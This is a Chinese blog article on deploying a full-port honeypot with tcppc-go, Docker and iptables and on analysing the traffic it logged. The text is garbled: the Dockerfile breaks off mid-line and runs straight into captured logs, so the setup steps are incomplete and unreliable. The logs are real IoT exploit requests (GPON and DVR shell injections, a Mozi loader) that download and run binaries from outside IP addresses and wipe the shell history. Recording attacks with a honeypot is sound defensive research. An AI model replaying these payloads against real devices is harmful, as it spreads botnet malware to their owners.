油炸小可爱|黑客大神总结:全端口蜜罐的部署过程与数据分析

一、引言在当前的网络环境中 , 存在着各种流量 , 包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件的探测流量等等 , 例如mirai病毒在进行telnet爆破过程中 , 其目标IP就是随机生成的(排除内网IP及一些特殊IP) 。 前段时间 , 本人对SSH蜜罐cowire的docker部署及数据展示进行了介绍 , 有兴趣的读者可以查看文章《Cowrie蜜罐的Docker部署过程及Elasticsearch+Kibana可视化》 。 本文将继续蜜罐这个方向 , 介绍一种全端口蜜罐 。
一般而言 , 大部分蜜罐都是针对某种服务来运行的 , 例如前文提到的ssh蜜罐cowrie 。 通过模拟该种服务的正常协议交互 , 完成握手阶段 , 并进行数据传输 , 基于这种蜜罐可以记录攻击者的行为 。 但前文提到 , mirai病毒定位目标是通过随机的IP算法生成;同时每天云主机的SSH端口也收到各种爆破流量 , 由此本人萌生了一个想法 , 那么是不是还有其他端口也在受到扫描或者攻击 。 要获取这些信息 , 显然使用tcpdump并不可行 , 虽然能收到各种扫描的流量 , 但没有系统协议栈的支撑 , 并不能得知连接的负载;而如果使用开启多个端口又不现实 , 毕竟端口数量这么多 , 管理起来也不方便 。 要满足上述需求 , 需要一个能够接受全端口流量的蜜罐 。
本文基于上述背景 , 部署一款全端口蜜罐 , 并对半个月时间内收到的日志进行简单分析 。 整体的文章结构如下:首先介绍使用tcppc-go及docker搭建一个可以记录连接信息的蜜罐 , 然后利用iptables将端口转发至特定端口 , 最后分析采集到的两周的数据 。
二、全端口蜜罐的部署2.1 需求分析首先来具体说明一下 , 对于这款蜜罐的具体需求 。
\1. 能够接受客户端(攻击或扫描)的连接 , 不需要进行具体的某种协议的交互 , 能够接收并记录用户发送过来的数据 , 持续运行只要客户端还在发送数据;
\2. 能够记录日志 , 包括连接信息 , 数据包内容等;
\3. 能够接收系统的全端口流量 。
本着不重复造轮子的思想 , 在github上搜索"all port honeypot" , 找到了一款能够满足功能的程序tcppc-go 。 除了能满足上述需求 , 同时还能支持UDP协议 , 甚至可以加载SSL证书 , 进行SSL握手 。 本次部署过程中不考虑SSL及UDP 。 其github主页上也介绍了如何能够捕获全端口的数据负载 , 通过iptables进行转发 , 但本文没有采用他的命令 , 请读者谨慎尝试 。
2.2 部署过程tcppc-go是一款使用go语言编写的程序 , 虽然本人有一些go语言基础 , 但是不想折腾基础语言环境 , 就借助docker的方式来搭建这个蜜罐 , 这样也方便没有go基础的读者直接进行部署 。 因此 , 本次部署过程中 , 与上一篇cowrie蜜罐相同 , 采用docker部署的方式 , 但不进行数据展示 , 直接输出原始日志 , 本次蜜罐部署的环境如下:
油炸小可爱|黑客大神总结:全端口蜜罐的部署过程与数据分析2.2.1 构造镜像
Dockerfile是构造镜像的模板 , docker会根据Dockerfile的程序逐渐构造镜像 , 关于具体的指令 , 下面的Dockerfile已经添加了简单的注释 , 想深入了解命令使用的读者可以自行搜索 。
###使用golang作为基础镜像提供程序运行环境FROM golang#设置时区变量ENV TZ=Asia/Shanghai#调整时区,从github拉取相应源码 , 并编译run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime wget++-O+->/tmp/gpon80;sh+/tmp/gpon80%20wget%20;curl%20-O%20;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0\r\n\r\n
DVR漏洞[2] 。
GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1\r\nHost: xx.xx.xx.xx:5500\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\nGET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1\r\nHost: xx.xx.xx.xx:5502\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64\r\n\r\nGET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1\r\nHost: xx.xx.xx.xx:5501\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\nGET /shell?cd+/tmp;rm+-rf+*;wget+;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: xx.xx.xx.xx:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n


推荐阅读